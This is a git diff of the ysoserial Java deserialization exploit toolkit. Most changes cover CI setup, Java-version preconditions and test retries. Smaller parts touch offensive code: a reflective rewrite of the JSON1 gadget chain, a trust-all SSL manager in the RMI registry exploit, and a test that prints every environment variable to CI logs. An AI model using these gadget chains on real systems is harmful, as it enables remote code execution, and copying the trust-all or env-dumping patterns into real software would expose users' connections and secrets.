diff --git a/.travis.yml b/.travis.yml index 9cca5be..2893dfc 100644 --- a/.travis.yml +++ b/.travis.yml @@ -4,17 +4,45 @@ language: java cache: directories: - $HOME/.m2 + - $HOME/.mvn/ -# Travis CI provides OpenJDK 6, OpenJDK 7, Oracle JDK 7, and Oracle JDK 8. -# Sun JDK 6 is not provided, because it is EOL as of November 2012. -# OpenJDK 8 is available on our Trusty images, specify dist: trusty to make use of it. -jdk: - - oraclejdk8 - #- oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884 - - openjdk8 - - openjdk7 - #- openjdk6 #https://github.com/travis-ci/travis-ci/issues/8199 +# jdk6 requires workarounds https://github.com/travis-ci/travis-ci/issues/9713 +addons: + apt: + packages: + - openjdk-6-jdk + +before_install: + - > # install mvn 3.2.5 for use with java6 + which $HOME/.mvn/3.2.5/bin/mvn || mkdir -p $HOME/.mvn/3.2.5 && + curl https://apache.osuosl.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz | + tar xz -C $HOME/.mvn/3.2.5 --strip-components=1 + - if [ "$TRAVIS_JDK_VERSION" == "openjdk6" ]; then jdk_switcher use openjdk6; fi + - mvn -v + +after_script: + - > # print more detailed info about test results + cat target/surefire-reports/TEST-ysoserial.payloads.PayloadsTest.xml | + grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- -- matrix: allow_failures: - - jdk: openjdk7 \ No newline at end of file + - jdk: oraclejdk11 + - jdk: openjdk6 + - jdk: openjdk7 + - jdk: openjdk9 + - jdk: openjdk10 + - jdk: openjdk11 + include: + #- jdk: oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884 + - jdk: oraclejdk8 + - jdk: oraclejdk11 + - jdk: openjdk6 + env: PATH=$HOME/.mvn/3.2.5/bin:$PATH + - jdk: openjdk7 + - jdk: openjdk8 + - jdk: openjdk9 + - jdk: openjdk10 + - jdk: openjdk11 + + diff --git a/appveyor.yml b/appveyor.yml index e1dc958..edebe34 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -10,7 +10,9 @@ skip_tags: true environment: matrix: - JAVA_HOME: C:\Program Files\Java\jdk1.6.0 + M2_HOME: C:\bin\apache-maven-3.2.5 - JAVA_HOME: C:\Program Files\Java\jdk1.7.0 + MAVEN_OPTS: -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 - JAVA_HOME: C:\Program Files\Java\jdk1.8.0 matrix: @@ -20,17 +22,19 @@ matrix: # install required tools (maven, secure-file, encrypted files) install: + - cmd: if not exist "C:\bin\apache-maven-3.2.5\bin\*.*" cinst maven --version 3.2.5 --allow-empty-checksums - cmd: echo %JAVA_HOME% - cmd: echo %M2_HOME% # build and install artifacts build_script: - - mvn clean install -DskipTests + - '"%M2_HOME%\bin\mvn" clean install -DskipTests' # verify artifacts test_script: - - mvn test + - '"%M2_HOME%\bin\mvn" test' # preserve dependencies between builds cache: - C:\Users\appveyor\.m2 + - C:\bin\apache-maven-3.2.5 diff --git a/pom.xml b/pom.xml index 3090a32..ef2de19 100644 --- a/pom.xml +++ b/pom.xml @@ -56,7 +56,7 @@ org.apache.maven.plugins maven-surefire-plugin - 2.20 + 3.0.0-M1 false @@ -311,6 +311,43 @@ + + jdk6 + + 1.6 + + + + + org.apache.maven.plugins + maven-surefire-plugin + 2.22.1 + + + + + + javax.el + javax.el-api + 3.0.0 + + + + + + repo1 + http://repo1.maven.org/maven2 + + + + + repo1 + http://repo1.maven.org/maven2 + + + + hibernate5 diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java index 186c45e..a8c350c 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -9,11 +9,7 @@ import java.rmi.registry.Registry; import java.rmi.server.RMIClientSocketFactory; import java.security.cert.X509Certificate; import java.util.concurrent.Callable; -import javax.net.ssl.SSLContext; -import javax.net.ssl.SSLEngine; -import javax.net.ssl.SSLSocketFactory; -import javax.net.ssl.TrustManager; -import javax.net.ssl.X509ExtendedTrustManager; +import javax.net.ssl.*; import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.ObjectPayload; @@ -30,15 +26,11 @@ import ysoserial.secmgr.ExecCheckingSecurityManager; */ @SuppressWarnings({"rawtypes", "unchecked"}) public class RMIRegistryExploit { - private static class TrustAllSSL extends X509ExtendedTrustManager { + private static class TrustAllSSL implements X509TrustManager { private static final X509Certificate[] ANY_CA = {}; public X509Certificate[] getAcceptedIssuers() { return ANY_CA; } public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } - public void checkServerTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ } - public void checkServerTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ } - public void checkClientTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ } - public void checkClientTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ } } private static class RMISSLClientSocketFactory implements RMIClientSocketFactory { @@ -61,7 +53,7 @@ public class RMIRegistryExploit { Registry registry = LocateRegistry.getRegistry(host, port); final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; final Class payloadClass = (Class) Class.forName(className); - + // test RMI registry connection and upgrade to SSL connection on fail try { registry.list(); diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java index e10ef9a..df21a29 100644 --- a/src/main/java/ysoserial/payloads/FileUpload1.java +++ b/src/main/java/ysoserial/payloads/FileUpload1.java @@ -14,6 +14,7 @@ import org.apache.commons.io.output.ThresholdingOutputStream; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -40,9 +41,12 @@ import ysoserial.payloads.util.Reflections; "commons-fileupload:commons-fileupload:1.3.1", "commons-io:commons-io:2.4" } ) -@PayloadTest(harness="ysoserial.payloads.FileUploadTest") +@PayloadTest(harness="ysoserial.payloads.FileUploadTest", precondition = "isApplicableJavaVersion") @Authors({ Authors.MBECHLER }) public class FileUpload1 implements ReleaseableObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } public DiskFileItem getObject ( String command ) throws Exception { diff --git a/src/main/java/ysoserial/payloads/Hibernate1.java b/src/main/java/ysoserial/payloads/Hibernate1.java index edae938..61e6179 100644 --- a/src/main/java/ysoserial/payloads/Hibernate1.java +++ b/src/main/java/ysoserial/payloads/Hibernate1.java @@ -17,7 +17,9 @@ import org.hibernate.type.Type; import org.hibernate.EntityMode; import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -40,7 +42,11 @@ import ysoserial.payloads.util.Reflections; * @author mbechler */ @Authors({ Authors.MBECHLER }) +@PayloadTest(precondition = "isApplicableJavaVersion") public class Hibernate1 implements ObjectPayload, DynamicDependencies { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } public static String[] getDependencies () { if ( System.getProperty("hibernate5") != null ) { diff --git a/src/main/java/ysoserial/payloads/Hibernate2.java b/src/main/java/ysoserial/payloads/Hibernate2.java index 0ab32c7..455cee6 100644 --- a/src/main/java/ysoserial/payloads/Hibernate2.java +++ b/src/main/java/ysoserial/payloads/Hibernate2.java @@ -3,6 +3,7 @@ package ysoserial.payloads; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import com.sun.rowset.JdbcRowSetImpl; @@ -41,9 +42,12 @@ import com.sun.rowset.JdbcRowSetImpl; @SuppressWarnings ( { "restriction" } ) -@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") +@PayloadTest(harness = "ysoserial.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion") @Authors({ Authors.MBECHLER }) public class Hibernate2 implements ObjectPayload, DynamicDependencies { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } public static String[] getDependencies () { return Hibernate1.getDependencies(); diff --git a/src/main/java/ysoserial/payloads/JBossInterceptors1.java b/src/main/java/ysoserial/payloads/JBossInterceptors1.java index 7fe37a5..9f1e294 100644 --- a/src/main/java/ysoserial/payloads/JBossInterceptors1.java +++ b/src/main/java/ysoserial/payloads/JBossInterceptors1.java @@ -16,7 +16,9 @@ import org.jboss.interceptor.spi.model.InterceptionModel; import org.jboss.interceptor.spi.model.InterceptionType; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import java.lang.reflect.Constructor; @@ -26,11 +28,15 @@ import java.util.*; by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) +@PayloadTest(precondition = "isApplicableJavaVersion") @Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) @Authors({ Authors.MATTHIASKAISER }) public class JBossInterceptors1 implements ObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } public Object getObject(final String command) throws Exception { diff --git a/src/main/java/ysoserial/payloads/JSON1.java b/src/main/java/ysoserial/payloads/JSON1.java index b959671..5d144b9 100644 --- a/src/main/java/ysoserial/payloads/JSON1.java +++ b/src/main/java/ysoserial/payloads/JSON1.java @@ -22,7 +22,6 @@ import javax.management.openmbean.TabularType; import javax.xml.transform.Templates; import org.springframework.aop.framework.AdvisedSupport; -import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl; import net.sf.json.JSONObject; @@ -95,12 +94,11 @@ public class JSON1 implements ObjectPayload { // it's very likely that there are other proxy impls that could be used AdvisedSupport as = new AdvisedSupport(); as.setTarget(payload); - InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections - .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as); + InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as); InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); - CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl(); - invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler); - invocationHandler.setDefaultHandler(delegateInvocationHandler); + InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"); + ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler); + Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler); final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); JSONObject jo = new JSONObject(); diff --git a/src/main/java/ysoserial/payloads/JavassistWeld1.java b/src/main/java/ysoserial/payloads/JavassistWeld1.java index cb1c601..3b08e61 100644 --- a/src/main/java/ysoserial/payloads/JavassistWeld1.java +++ b/src/main/java/ysoserial/payloads/JavassistWeld1.java @@ -16,7 +16,9 @@ import org.jboss.weld.interceptor.spi.model.InterceptionModel; import org.jboss.weld.interceptor.spi.model.InterceptionType; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import java.lang.reflect.Constructor; @@ -26,11 +28,15 @@ import java.util.*; by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) +@PayloadTest(precondition = "isApplicableJavaVersion") @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) @Authors({ Authors.MATTHIASKAISER }) public class JavassistWeld1 implements ObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } public Object getObject(final String command) throws Exception { diff --git a/src/main/java/ysoserial/payloads/Myfaces2.java b/src/main/java/ysoserial/payloads/Myfaces2.java index 1683e43..72c828e 100644 --- a/src/main/java/ysoserial/payloads/Myfaces2.java +++ b/src/main/java/ysoserial/payloads/Myfaces2.java @@ -4,6 +4,7 @@ package ysoserial.payloads; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; @@ -28,9 +29,12 @@ import ysoserial.payloads.util.PayloadRunner; * * @author mbechler */ -@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) +@PayloadTest(harness = "ysoserial.payloads.MyfacesTest", precondition = "isApplicableJavaVersion") @Authors({ Authors.MBECHLER }) public class Myfaces2 implements ObjectPayload, DynamicDependencies { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } public static String[] getDependencies () { return Myfaces1.getDependencies(); diff --git a/src/main/java/ysoserial/payloads/Wicket1.java b/src/main/java/ysoserial/payloads/Wicket1.java index abf617c..29e5d9b 100644 --- a/src/main/java/ysoserial/payloads/Wicket1.java +++ b/src/main/java/ysoserial/payloads/Wicket1.java @@ -46,7 +46,7 @@ import ysoserial.payloads.util.Reflections; * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp * blue lobster */ -@PayloadTest(harness = "ysoserial.payloads.FileUploadTest") +@PayloadTest(harness = "ysoserial.payloads.FileUploadTest", flaky="possible race condition") @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) @Authors({ Authors.JACOBAINES }) public class Wicket1 implements ReleaseableObjectPayload { diff --git a/src/main/java/ysoserial/payloads/annotation/PayloadTest.java b/src/main/java/ysoserial/payloads/annotation/PayloadTest.java index f729988..b54a310 100644 --- a/src/main/java/ysoserial/payloads/annotation/PayloadTest.java +++ b/src/main/java/ysoserial/payloads/annotation/PayloadTest.java @@ -9,11 +9,11 @@ import java.lang.annotation.RetentionPolicy; */ @Retention(RetentionPolicy.RUNTIME) public @interface PayloadTest { - String skip() default ""; - + String precondition() default ""; - + String harness() default ""; + String flaky() default ""; } diff --git a/src/main/java/ysoserial/payloads/util/JavaVersion.java b/src/main/java/ysoserial/payloads/util/JavaVersion.java index 9eaa451..0c43c87 100644 --- a/src/main/java/ysoserial/payloads/util/JavaVersion.java +++ b/src/main/java/ysoserial/payloads/util/JavaVersion.java @@ -21,13 +21,13 @@ public class JavaVersion { } JavaVersion v = new JavaVersion(); String parts[] = property.split("\\.|_|-"); - v.major = Integer.parseInt(parts[1]); - v.minor = Integer.parseInt(parts[2]); - v.update = Integer.parseInt(parts[3]); + int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix + v.major = Integer.parseInt(parts[start + 0]); + v.minor = Integer.parseInt(parts[start + 1]); + v.update = Integer.parseInt(parts[start + 2]); return v; } - public static boolean isAnnInvHUniversalMethodImpl() { JavaVersion v = JavaVersion.getLocalVersion(); return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); @@ -37,5 +37,10 @@ public class JavaVersion { JavaVersion v = JavaVersion.getLocalVersion(); return v != null && (v.major > 8 && v.update >= 76); } + + public static boolean isAtLeast(int major) { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && v.major >= major; + } } diff --git a/src/main/java/ysoserial/payloads/util/Reflections.java b/src/main/java/ysoserial/payloads/util/Reflections.java index 17a35f5..c6b3ae3 100644 --- a/src/main/java/ysoserial/payloads/util/Reflections.java +++ b/src/main/java/ysoserial/payloads/util/Reflections.java @@ -24,7 +24,7 @@ public class Reflections { } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { - final Field field = getField(obj.getClass(), fieldName); + final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } @@ -33,13 +33,16 @@ public class Reflections { ctor.setAccessible(true); return ctor; } - + + public static Object newInstance(String className, Object ... args) throws Exception { + return getFirstCtor(className).newInstance(args); + } public static T createWithoutConstructor ( Class classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); } - + @SuppressWarnings ( {"unchecked"} ) public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { diff --git a/src/main/java/ysoserial/secmgr/DelegateSecurityManager.java b/src/main/java/ysoserial/secmgr/DelegateSecurityManager.java index 616ffdf..caaaf77 100755 --- a/src/main/java/ysoserial/secmgr/DelegateSecurityManager.java +++ b/src/main/java/ysoserial/secmgr/DelegateSecurityManager.java @@ -16,12 +16,42 @@ public class DelegateSecurityManager extends SecurityManager { this.securityManager = securityManager; } + //BEGIN fixes for JDK10+ compatibility + @SuppressWarnings({"deprecation"}) - @Override + //@Override public boolean getInCheck() { - return getSecurityManager().getInCheck(); + //return getSecurityManager().getInCheck(); + return false; } + @SuppressWarnings({"deprecation"}) + //@Override + public boolean checkTopLevelWindow(Object window) { + //return getSecurityManager().checkTopLevelWindow(window); + return true; + } + + @SuppressWarnings({"deprecation"}) + //@Override + public void checkSystemClipboardAccess() { + //getSecurityManager().checkSystemClipboardAccess(); + } + + @SuppressWarnings({"deprecation"}) + //@Override + public void checkAwtEventQueueAccess() { + //getSecurityManager().checkAwtEventQueueAccess(); + } + + @SuppressWarnings({"deprecation"}) + //@Override + public void checkMemberAccess(Class clazz, int which) { + //getSecurityManager().checkMemberAccess(clazz, which); + } + + //END fixes for JDK10+ compatibility + @Override public Object getSecurityContext() { return getSecurityManager().getSecurityContext(); @@ -138,29 +168,11 @@ public class DelegateSecurityManager extends SecurityManager { getSecurityManager().checkPropertyAccess(key); } - @SuppressWarnings({"deprecation"}) - @Override - public boolean checkTopLevelWindow(Object window) { - return getSecurityManager().checkTopLevelWindow(window); - } - @Override public void checkPrintJobAccess() { getSecurityManager().checkPrintJobAccess(); } - @SuppressWarnings({"deprecation"}) - @Override - public void checkSystemClipboardAccess() { - getSecurityManager().checkSystemClipboardAccess(); - } - - @SuppressWarnings({"deprecation"}) - @Override - public void checkAwtEventQueueAccess() { - getSecurityManager().checkAwtEventQueueAccess(); - } - @Override public void checkPackageAccess(String pkg) { @@ -177,12 +189,6 @@ public class DelegateSecurityManager extends SecurityManager { getSecurityManager().checkSetFactory(); } - @SuppressWarnings({"deprecation"}) - @Override - public void checkMemberAccess(Class clazz, int which) { - getSecurityManager().checkMemberAccess(clazz, which); - } - @Override public void checkSecurityAccess(String target) { getSecurityManager().checkSecurityAccess(target); diff --git a/src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java b/src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java index 310179c..940afb0 100644 --- a/src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java +++ b/src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java @@ -6,6 +6,7 @@ import java.util.LinkedList; import java.util.List; import java.util.concurrent.Callable; +// TODO per-thread secmgr public class ExecCheckingSecurityManager extends SecurityManager { public ExecCheckingSecurityManager() { this(true); @@ -41,7 +42,6 @@ public class ExecCheckingSecurityManager extends SecurityManager { } }; - @SuppressWarnings("serial") public static class ExecException extends RuntimeException { private final String threadName = Thread.currentThread().getName(); diff --git a/src/test/java/ysoserial/CiTest.java b/src/test/java/ysoserial/CiTest.java new file mode 100644 index 0000000..d658d73 --- /dev/null +++ b/src/test/java/ysoserial/CiTest.java @@ -0,0 +1,11 @@ +package ysoserial; + +import org.junit.Test; + +public class CiTest { + @Test + public void test() { + System.out.println("System.getProperties(): " + System.getProperties()); + System.out.println("System.getenv(): " + System.getenv()); + } +} diff --git a/src/test/java/ysoserial/payloads/CommandExecTest.java b/src/test/java/ysoserial/payloads/CommandExecTest.java index 22a952c..b0dc051 100644 --- a/src/test/java/ysoserial/payloads/CommandExecTest.java +++ b/src/test/java/ysoserial/payloads/CommandExecTest.java @@ -16,7 +16,6 @@ public class CommandExecTest implements CustomTest { @Override public void run(Callable payload) throws Exception { Assert.assertFalse("test file should not exist", testFile.exists()); - Exception err; try { payload.call(); } catch (Exception e) { diff --git a/src/test/java/ysoserial/payloads/FileUploadTest.java b/src/test/java/ysoserial/payloads/FileUploadTest.java index 01c31b6..ee186ec 100644 --- a/src/test/java/ysoserial/payloads/FileUploadTest.java +++ b/src/test/java/ysoserial/payloads/FileUploadTest.java @@ -47,9 +47,12 @@ public class FileUploadTest implements CustomTest { payload.call(); File found = null; - for ( File f : this.repo.listFiles()) { - found = f; - break; + for (int i = 0; i < 50 && found == null; i++) { // try for 5s before failing + for (File f : this.repo.listFiles()) { + found = f; + break; + } + Thread.sleep(100); } Assert.assertNotNull("File not copied", found); if (OS.get() != OS.WINDOWS) { @@ -60,11 +63,21 @@ public class FileUploadTest implements CustomTest { } finally { if ( this.repo.exists()) { for ( File f : this.repo.listFiles()) { - f.deleteOnExit(); + safeDeleteOnExit(f); } - this.repo.deleteOnExit(); + safeDeleteOnExit(this.repo); } - this.source.deleteOnExit(); + safeDeleteOnExit(this.source); + } + } + + private static void safeDeleteOnExit(File f) { + try { + if (f.exists()) { + f.deleteOnExit(); + } + } catch (Exception e) { + e.printStackTrace(); } } diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 904eb83..8613c5f 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -18,13 +18,8 @@ import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import org.junit.runners.Parameterized.Parameters; -import ysoserial.CustomDeserializer; -import ysoserial.CustomPayloadArgs; -import ysoserial.CustomTest; -import ysoserial.Deserializer; -import ysoserial.Serializer; +import ysoserial.*; import ysoserial.util.Throwables; -import ysoserial.WrappedTest; import ysoserial.payloads.TestHarnessTest.ExecMockPayload; import ysoserial.payloads.TestHarnessTest.NoopMockPayload; import ysoserial.payloads.annotation.Dependencies; @@ -71,10 +66,10 @@ public class PayloadsTest { public static void testPayload ( final Class> payloadClass, final Class[] addlClassesForClassLoader ) throws Exception { String command = "hostname"; - String[] deps = buildDeps(payloadClass); PayloadTest t = payloadClass.getAnnotation(PayloadTest.class); + int tries = 1; if ( t != null ) { if ( !t.skip().isEmpty() ) { Assume.assumeTrue(t.skip(), false); @@ -83,8 +78,13 @@ public class PayloadsTest { if ( !t.precondition().isEmpty() ) { Assume.assumeTrue("Precondition: " + t.precondition(), checkPrecondition(payloadClass, t.precondition())); } + + if (! t.flaky().isEmpty()) { + tries = 5; + } } + String[] deps = buildDeps(payloadClass); String payloadCommand = command; Class customDeserializer = null; Object testHarness = null; @@ -107,17 +107,28 @@ public class PayloadsTest { customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer(); } - ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); - final byte[] serialized = sm.callWrapped(makeSerializeCallable(payloadClass, payloadCommand)); + // TODO per-thread secmgr to enforce no detonation during deserialization + final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call(); Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer); if ( testHarness instanceof WrappedTest ) { callable = ( (WrappedTest) testHarness ).createCallable(callable); } - if ( testHarness instanceof CustomTest ) { - ( (CustomTest) testHarness ).run(callable); - return; + if (testHarness instanceof CustomTest) { + // if marked as flaky try up to 5 times + Exception ex = new Exception(); + for (int i = 0; i < tries; i++) { + try { + ((CustomTest) testHarness).run(callable); + ex = null; + break; + } catch (Exception e) { + ex = e; + } + } + if (ex != null) throw ex; } + }